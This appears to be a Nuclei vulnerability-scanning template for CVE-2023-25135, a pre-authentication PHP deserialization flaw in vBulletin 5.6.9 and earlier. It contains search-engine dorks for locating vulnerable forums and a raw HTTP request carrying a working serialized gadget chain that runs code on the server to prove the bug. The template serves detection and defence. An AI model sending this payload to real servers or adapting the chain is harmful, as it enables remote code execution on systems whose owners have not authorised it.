vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution

id: CVE-2023-25135

info:
  name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
    - https://github.com/ambionics/vbulletin-exploits/blob/main/vbulletin-rce-cve-2023-25135.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25135
    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4473890-vbulletin-5-6-9-security-patch
    - https://github.com/netlas-io/netlas-dorks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25135
    cwe-id: CWE-502
    epss-score: 0.23926
    epss-percentile: 0.9785
    cpe: cpe:2.3:a:vbulletin:vbulletin:5.6.7:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.component:"vBulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - http.title:"powered by vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"Powered By vBulletin"
      - intitle:"powered by vbulletin"
      - intext:"powered by vbulletin"
  tags: cve,cve2023,vbulletin,rce,vkev,vuln

http:
  - raw:
      - |
        POST /ajax/api/user/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        adminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'string(14)'
          - '"CVE-2023-25135"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200